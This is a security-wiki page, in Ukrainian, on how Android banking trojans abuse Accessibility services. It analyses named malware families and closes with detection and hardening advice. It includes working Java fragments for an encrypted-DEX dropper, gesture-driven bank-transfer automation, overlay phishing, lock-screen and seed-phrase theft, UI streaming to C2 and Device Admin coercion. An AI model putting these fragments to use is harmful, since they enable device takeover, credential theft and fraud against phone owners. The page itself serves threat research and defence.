Зловживання Accessibility Service на Android

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

AccessibilityService було створено, щоб допомогти користувачам з інвалідністю взаємодіяти з пристроями Android. На жаль, ті самі потужні API для автоматизації (глобальна навігація, введення тексту, відправка жестів, накладні вікна…) можуть бути використані malware для отримання повного віддаленого контролю над телефоном без прав root.

Сучасні банківські трояни для Android та Remote-Access-Trojans (RATs), такі як PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda та багато інших дотримуються того самого сценарію:

  1. Соціально-інженерними методами переконати жертву ввімкнути шкідливий сервіс доступності (дозвіл BIND_ACCESSIBILITY_SERVICE вважається “high-risk” і потребує явної дії користувача).
  2. Використати сервіс для:
  • перехоплення всіх UI-подій та тексту, що з’являються на екрані,
  • інжекції синтетичних жестів (dispatchGesture) та глобальних дій (performGlobalAction) для автоматизації будь-якого завдання оператора,
  • малювання повноекранних оверлеїв поверх легітимних додатків за допомогою типу вікна TYPE_ACCESSIBILITY_OVERLAY (без запиту SYSTEM_ALERT_WINDOW!),
  • тихого надання додаткових runtime-пермісій шляхом натискання системних діалогів від імені жертви.
  1. Екзфільтрації даних або виконання On-Device-Fraud (ODF) у реальному часі, поки користувач дивиться на цілком звичайний екран.

Упаковані Accessibility droppers

ClayRat v3.0.8 поєднує свій Accessibility RAT з поетапним payload, схованим під assets/. Під час виконання хостовий APK:

  1. Потоком зчитує зашифрований blob з assets/*.dat.
  2. Розшифровує його за допомогою жорстко зашитого AES/CBC ключа + IV, вбудованих у Java/Kotlin loader.
  3. Записує plaintext DEX у приватний каталог додатка і завантажує його через DexClassLoader, роблячи реальні класи шпигунського ПЗ видимими лише в пам’яті.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Цей packing pattern (ATT&CK T1406.002) утримує Accessibility module off-disk до виконання dropper, обходячи static signature scans і Play Protect, доки користувач не надасть небезпечні дозволи.


Запит дозволу

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Супутній XML визначає, як виглядатиме підробне діалогове вікно:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Примітиви віддаленої автоматизації інтерфейсу користувача

Скелет автоматизації служби доступності ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Маючи лише ці два APIs, зловмисник може:
* Розблокувати екран, відкрити банківський додаток, пройти його UI tree і відправити форму переказу.
* Прийняти всі діалогові вікна дозволів, що з'являються.
* Встановити/оновити додаткові APKs через Play Store intent.

---

## Сценарії зловживань

### 1. Overlay Phishing (Credential Harvesting)
До диспетчера вікон додається прозорий або непрозорий `WebView`:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Жертва вводить облікові дані у підроблену форму, тоді як фоновий додаток отримує ті самі ж жести — жодного підозрілого запиту «draw over other apps» не з’являється.

Детальний приклад: розділ Accessibility Overlay Phishing на сторінці Tapjacking.

ClayRat відкриває цю можливість за допомогою команд show_block_screen / hide_block_screen, які завантажують шаблони оверлеїв із C2. Оператори можуть переключати макети на льоту, щоб:

  • Затемнити панель, щоб жертва думала, що пристрій вимкнено або завис, поки автоматизовані жести відключають Play Protect або надають додаткові дозволи.
  • Показати фальшиві панелі оновлення системи / оптимізації батареї, які виправдовують, чому пристрій «зайнятий», поки триває фонове автоматизоване керування.
  • Показати інтерактивну PIN‑панель оверлей, що віддзеркалює системний екран блокування — шкідливий код фіксує кожну цифру і надсилає оператору одразу після введення 4‑значного коду.

Оскільки вікна TYPE_ACCESSIBILITY_OVERLAY ніколи не викликають запит на дозвіл SYSTEM_ALERT_WINDOW, жертва бачить лише підроблений UI, поки RAT продовжує взаємодіяти з реальними додатками під ним.

2. On-Device Fraud automation

Сімейства malware, такі як PlayPraetor, підтримують постійний WebSocket-канал, де оператор може надсилати високорівневі команди (init, update, alert_arr, report_list, …). Сервіс транслює ці команди у низькорівневі жести, описані вище, досягаючи реального часу несанкціонованих транзакцій, які легко обходять багатофакторну автентифікацію, прив’язану до цього пристрою.

3. Screen streaming & monitoring

ClayRat модернізує звичний трюк з MediaProjection у стек віддаленого робочого столу:

  1. turbo_screen викликає діалог з проханням дозволу MediaProjection; Accessibility service натискає «Start now», тому жертва ніколи не втручається.
  2. З отриманим токеном MediaProjection створюється VirtualDisplay, підкріплений ImageReader, підтримується ForegroundService, і кадри зливається у воркер-потоках.
  3. Кадри кодуються у JPEG/PNG відповідно до параметра set_quality, який постачається оператором (за замовчуванням 60, якщо відсутній), і відправляються через HTTP→WebSocket upgrade з юзер‑агентом ClayRemoteDesktop.
  4. start_desktop / stop_desktop керують потоками захоплення, а screen_tap, screen_swipe, input_text, press_home, press_back і press_recents відтворюють жести проти живого framebuffer.

Як результат — VNC‑подібний фід, доставлений повністю через санкціоновані API — без root або експлойтів ядра — але це дає нападнику живу ситуаційну обізнаність з мілісекундною затримкою.

4. Lock-screen credential theft & auto-unlock

ClayRat підписується на події TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED, які генерує com.android.systemui (Keyguard). Він відновлює активний тип блокування:

  • PIN — відстежує натискання кнопок клавіатури, поки замок не повідомить про завершення.
  • Password — конкатенує рядки, побачені у фокусованому полі пароля для кожного AccessibilityEvent.
  • Pattern — фіксує впорядковані індекси вузлів, виведені з координат жестів по сітці 3×3.

Секрети разом з метаданими (тип блокування + мітка часу) серіалізуються в SharedPreferences під lock_password_storage. Коли оператор штовхає auto_unlock, сервіс будить пристрій через unlock_device / screen_on, відтворює збережені цифри або жести через dispatchGesture і безшумно обходить keyguard, щоб подальші ODF-процеси могли продовжитись.

5. Notification phishing & harvesting

Супутній Notification Listener перетворює шторку на поверхню для фішингу:

  • get_push_notifications викидає всі поточні видимі сповіщення, включно з OTP / MFA-повідомленнями.
  • Команда notifications перемикає прапорець notifications_enabled, тож кожен майбутній onNotificationPosted() payload стримується до C2 у реальному часі.
  • send_push_notification дозволяє операторам формувати фейкові інтерактивні сповіщення, які імітують банківські або чат‑додатки; будь‑який текст, який вводить жертва, парситься як креденціали і негайно ексфільтрується.

Оскільки Accessibility може програмно відкривати/закривати шторку сповіщень, цей метод збирає секрети, не торкаючись цільових додатків.

6. Telephony & SMS command channel

Після примусу користувача встановити RAT як додаток SMS за замовчуванням, наступні команди забезпечують повний контроль модему:

  • send_sms і retransmishion надсилають довільні або відтворені повідомлення на номери, контрольовані нападником.
  • messsms ітерує по всій базі контактів, щоб розсилати фішингові посилання для хробачного поширення.
  • make_call ініціює голосові виклики, що підтримують social‑engineering сценарії.
  • get_sms_list / get_sms і get_call_log / get_calls вивантажують вхідні повідомлення й історію дзвінків, щоб MFA‑коди або метадані дзвінків можна було одразу використати.

У поєднанні з навігацією UI через Accessibility, ClayRat може отримати OTP через сповіщення/SMS і негайно ввести його у цільовому банківському або корпоративному додатку.

7. Discovery, collection & proxying

Додаткові команди ClayRat картографують середовище і роблять C2 більш стійким:

  • get_apps / get_apps_list перераховують встановлені пакети (ATT&CK T1418).
  • get_device_info повідомляє модель, версію ОС і стан батареї (T1426).
  • get_cam / get_camera роблять знімки фронтальної камери, тоді як get_keylogger_data серіалізує PINи блокування плюс паролі, описи view і підказки, вилучені з чутливих полів.
  • get_proxy_data отримує URL проксі WebSocket, додає унікальний ідентифікатор пристрою і запускає завдання, що тунелює HTTP/HTTPS через той самий двонаправлений канал (T1481.002 / T1646).

PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – ітерувати по хардкодованому списку, поки один домен не відповість POST /app/searchPackageName з активним C2.
  2. WebSocket (port 8282) – двонаправлені JSON команди:
  • update – штовхнути нову конфіг/APK
  • alert_arr – налаштувати шаблони оверлеїв
  • report_list – надіслати список імен цільових пакетів
  • heartbeat_web – підтримання зв’язку
  1. RTMP (port 1935) – живий стрім екрану/відео.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService є локальним рушієм, що перетворює ці хмарні команди у фізичні взаємодії.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – шукайте додатки, які не з Google Play.
  • MDM / EMM рішення можуть примусово встановити ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) для блокування sideloaded сервісів.
  • Аналізуйте запущені сервіси:
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Позначайте чутливі view атрибутом android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Поєднуйте setFilterTouchesWhenObscured(true) з FLAG_SECURE, щоб запобігти перехопленню тапів/овералеїв.
  • Виявляйте оверлеї, опитуючи WindowManager.getDefaultDisplay().getFlags() або API ViewRootImpl.
  • Відмовляйтеся працювати, коли Settings.canDrawOverlays() або активний не‑довірений Accessibility service.

ATS automation cheat-sheet (Accessibility-driven)

Malware може повністю автоматизувати банківський додаток, використовуючи лише Accessibility APIs. Загальні примітиви:

Допоміжні методи для ATS automation ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Приклад послідовності (чеська → англійські мітки):

  • “Nová platba” (Нова оплата) → натиснути
  • “Zadat platbu” (Ввести платіж) → натиснути
  • “Nový příjemce” (Новий отримувач) → натиснути
  • “Domácí číslo účtu” (Локальний номер рахунку) → встановити фокус і ACTION_SET_TEXT
  • “Další” (Далі) → натиснути → … “Zaplatit” (Сплатити) → натиснути → ввести PIN

Резервний варіант: жорстко задані координати з dispatchGesture, коли пошук тексту не вдається через кастомні віджети.

Також спостерігалося: попередні кроки до check_limit та limit шляхом навігації в UI лімітів і збільшення добових лімітів перед переказом.

Текстове псевдопотокове транслювання екрану

Для керування з низькою затримкою, замість повноцінного відео-стрімінгу, вивантажуйте текстове представлення поточного дерева UI і надсилайте його на C2 повторно.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Це є основою для команд, таких як txt_screen (одноразово) та screen_live (безперервно).

Примітиви примусу Device Admin

Після активації Device Admin receiver ці виклики збільшують можливості для перехоплення credentials та утримання контролю:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Примітка: точна доступність цих політик залежить від версії Android та OEM; під час тестування перевіряйте роль політики пристрою (admin vs owner).

Crypto wallet seed-phrase extraction patterns

Спостережувані потоки для MetaMask, Trust Wallet, Blockchain.com та Phantom:

  • Розблокування за вкраденим PIN (перехопленим через overlay/Accessibility) або за наданим паролем гаманця.
  • Перейти: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Збирання фрази через keylogging текстових вузлів, secure-screen bypass або screenshot OCR, коли текст прихований.
  • Підтримка кількох локалей (EN/RU/CZ/SK) для стабілізації селекторів — віддавайте перевагу viewIdResourceName, коли доступний; в іншому випадку — fallback до multilingual text matching.

Оркестрація NFC-relay

Accessibility/RAT модулі можуть встановити та запустити спеціальний NFC-relay додаток (наприклад, NFSkate) як третій етап і навіть інжектувати overlay-керівництво, щоб супроводжувати жертву через card-present relay steps.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks